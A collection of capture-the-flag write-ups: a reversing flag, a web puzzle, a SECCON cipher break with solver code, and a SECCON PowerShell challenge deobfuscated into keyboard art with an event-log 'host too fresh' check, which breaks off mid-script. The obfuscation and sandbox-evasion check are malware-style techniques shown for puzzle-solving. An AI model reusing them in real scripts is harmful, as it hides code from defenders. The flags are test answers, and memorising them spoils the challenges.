0xf2184419 p4r71c1p4y1n6!}0xceecc5ba0xcd78354e0xc51f928e0x3ca8bfdc0xf62c7f9b0x3ca8bfdc0xf21844190xceecc5ba0xc51f928e0x3ca8bfdc0xa952136b0x2ff351440xba165ea70xef1b84cd```
and putting all together (and skipping a lot of the reversing work):
```$ ./unknown TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0u_f0r_p4r71c1p471n6\!}Congraz the flag is: TUCTF{w3lc0m3_70_7uc7f_4nd_7h4nk_y0u_f0r_p4r71c1p471n6!}```
We had to add a backslack in order to escape the `!`. Just like that, we captured the flag! |
The idea of this challenge was to distribute a pcap that contained different layers of encrypted content to show that their typical mode of operation is insecure.
[Writeup](https://hxp.io/blog/35/hxp%20CTF%202017:%20misc350%20%22inception%22%20writeup/) |
The URL [http://tinyurl.com/1st-16-chars-of-the-hex](http://tinyurl.com/1st-16-chars-of-the-hex) gives us part 1 of the flag. "what is my location?" suggests `window.location.href`, which is [https://replit.org/data/web_project/64df16458ba95e01f7f67706af4602ed/index.html](https://replit.org/data/web_project/64df16458ba95e01f7f67706af4602ed/index.html). Hey! There's some hex in there. What if we take the first 16 characters of that and substitute it into the tinyurl link? So, we go to [http://tinyurl.com/64df16458ba95e01](http://tinyurl.com/64df16458ba95e01) and get the second part of the flag. `tpctf{w4i7_r3pl_d03s_7h15?}` |
The code is pretty strightforward.```def _l(idx, s): '''return circular left shift return s[idx:] + s[:idx]```Then there is ```s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}"t = [[_l((i+j) % len(s), s) for j in range(len(s))] for i in range(len(s))]```Now $t[a][b][c] = x \Leftrightarrow t[(a+b+c) \pmod{65}][0][0] = x$ (easy to check). Suppose, for the rest of the code, that instead of actual characters, we operate of index in string `s`, for example, `'D'` becomes `3`, `'z'` becomes `61`.
```for a in p: c += t[s.find(a)][s.find(k1[i1])][s.find(k2[i2])] i1 = (i1 + 1) % len(k1) i2 = (i2 + 1) % len(k2)```These lines mean that we add, character by character value $t[a][k_1(i_1)][k_2(i_2)] = t[(a + k_1(i_1) + k_2(i_2))][0][0]$. Keylength is 14. `k2` is just `k1` reversed, so we know that `k1[i] == k2[13-i]`. Thanks to this, it's not required to know whole key to decode text, since we're only interested in sums of "opposite" values, i.e. `k1[0] + k2[13] == k1[13] + k2[0]`. Recovering half of the key is easy, as we know the beginning of the plaintext and the whole ciphertext. The known beginning turns out to be exactly $7 = 14/2$ characters.
Code to solve:```pt = 'SECCON{**************************}'ct = 'POR4dnyTLHBfwbxAAZhe}}ocZR3Cxcftw9'
s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}"
key = [(s.find(c) - s.find(p))% (len(s)) for p, c in zip(pt[:7],ct)]
flagchars = [s[(s.find(c) - e) % (len(s))] for c, e in zip(ct, (key+key[::-1])*30)] # 14 < 34, so I had to repeat the key (as it's done in the source)
print(''.join(flagchars))# SECCON{Welc0me_to_SECCON_CTF_2017}``` |
```bashfile powerful_shell.ps1-1fb3af91eafdbebf3b3efa3b84fcc10cfca21ab53db15c98797b500c739b0024```powerful_shell.ps1-1fb3af91eafdbebf3b3efa3b84fcc10cfca21ab53db15c98797b500c739b0024: ASCII text
```bashstrings powerful_shell.ps1-1fb3af91eafdbebf3b3efa3b84fcc10cfca21ab53db15c98797b500c739b0024: ASCII text``````PowerShell$ECCON="";$ECCON+=[char](3783/291);$ECCON+=[char](6690/669);$ECCON+=[char](776-740);$ECCON+=[char](381-312);$ECCON+=[char](403-289);$ECCON+=[char](-301+415);$ECCON+=[char](143-32);$ECCON+=[char](93594/821);$ECCON+=[char](626-561);$ECCON+=[char](86427/873);$ECCON+=[char](112752/972);$ECCON+=[char](43680/416);$ECCON+=[char](95127/857);$ECCON+=[char](-682+792);$ECCON+=[char](-230+310);$ECCON+=[char](-732+846);$ECCON+=[char](1027-926);$ECCON+=[char](94044/922);$ECCON+=[char](898-797);$ECCON+=[char](976-862);$ECCON+=[char](52419/519);$ECCON+=[char](1430/13);$ECCON+=[char](18216/184);$ECCON+=[char](21715/215);$ECCON+=[char](12320/385);$ECCON+=[char]([int][Math]::sqrt([Math]::pow(61,$ECCON+=[char](803-793);[...]$ECCON+=[char](10426/802);Write-Progress -Activity "Extracting Script" -status "20040" -percentComplete 99;$ECCON+=[char](520-510);2)));```for those who don't know powershell scripting , the script juste concat some chars to the variable $ECCON , i rewrite the script using python
the output was :```PowerShell$ErrorActionPreference = "ContinueSilently"[console]::BackgroundColor = "black";[console]::ForegroundColor = "white";cls;Set-Alias -Name x -Value Write-Host;$host.UI.RawUI.BufferSize = New-Object System.Management.Automation.Host.Size 95,25;$host.UI.RawUI.WindowSize = New-Object System.Management.Automation.Host.Size 95,25;$host.UI.RawUI.BufferSize = New-Object System.Management.Automation.Host.Size 95,25;$host.UI.RawUI.WindowSize = New-Object System.Management.Automation.Host.Size 95,25;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 12 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 15 -n;x;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x ' ' -b 15 -n;x;x;
<# Host Check #>Write-Host -b 00 -f 15 Checking Host... Please wait... -nTry{ If ((Get-EventLog -LogName Security | Where EventID -Eq 4624).Length -Lt 1000) { Write-Host "This host is too fresh!" Exit }}Catch{ Write-Host "Failed: No admin rights!" Exit}Write-Host "Check passed"
$keytone=@{'a'=261.63}$pk='a'ForEach($k in ('w','s','e','d','f','t','g','y','h','u','j','k')){ $keytone+=@{$k=$keytone[$pk]*[math]::pow(2,1/12)};$pk=$k }Write-Host -b 00 -f 15 "Play the secret melody."
Write-Host -b 15 -f 00 -n ' 'Write-Host -b 00 -f 15 -n ' 'Write-Host -b 15 -f 00 -n ' 'Write-Host -b 00 -f 15 -n ' 'Write-Host -b 15 -f 00 -n ' | 'Write-Host -b 00 -f 15 -n ' 'Write-Host -b 15 -f 00 -n ' 'Write-Host -b 00 -f 15 -n ' 'Write-Host -b 15 -f 00 -n ' 'Write-Host -b 00 -f 15 -n ' 'Write-Host -b 15 -f 00 ' | ' Write-Host -b 15 -f 00 -n ' 'Write-Host -b 00 -f 15 -n ' 'Write-Host -b 15 -f 00 -n ' 'Write-Host -b 00 -f 15 -n ' 'Write-Host -b 15 -f 00 -n ' | 'Write-Host -b 00 -f 15 -n ' 'Write-Host -b 15 -f 00 -n ' 'Write-Host -b 00 -f 15 -n ' 'Write-Host -b 15 -f 00 -n ' 'Write-Host -b 00 -f 15 -n ' 'Write-Host -b 15 -f 00 ' | ' Write-Host -b 15 -f 00 -n ' 'Write-Host -b 00 -f 15 -n ' w 'Write-Host -b 15 -f 00 -n ' 'Write-Host -b 00 -f 15 -n ' e 'Write-Host -b 15 -f 00 -n ' | 'Write-Host -b 00 -f 15 -n ' t 'Write-Host -b 15 -f 00 -n ' 'Write-Host -b 00 -f 15 -n ' y 'Write-Host -b 15 -f 00 -n ' 'Write-Host -b 00 -f 15 -n ' u 'Write-Host -b 15 -f 00 ' | ' Write-Host -b 15 -f 00 -n ' |'Write-Host -b 15 -f 00 -n ' |'Write-Host -b 15 -f 00 -n ' |'Write-Host -b 15 -f 00 -n ' |'Write-Host -b 15 -f 00 -n ' |'Write-Host -b 15 -f 00 -n ' |'Write-Host -b 15 -f 00 -n ' |'Write-Host -b 15 -f 00 ' 'Write-Host -b 15 -f 00 -n ' a |'Write-Host -b 15 -f 00 -n ' s |'Write-Host -b 15 -f 00 -n ' d |'Write-Host -b 15 -f 00 -n ' f |'Write-Host -b 15 -f 00 -n ' g |'Write-Host -b 15 -f 00 -n ' h |'Write-Host -b 15 -f 00 -n ' j |'Write-Host -b 15 -f 00 ' k 'Write-Host -b 15 -f 00 -n ' |'Write-Host -b 15 -f 00 -n ' |'Write-Host -b 15 -f 00 -n ' |'Write-Host -b 15 -f 00 -n ' |'Write-Host -b 15 -f 00 -n ' |'Write-Host -b 15 -f 00 -n ' |'Write-Host -b 15 -f 00 -n ' 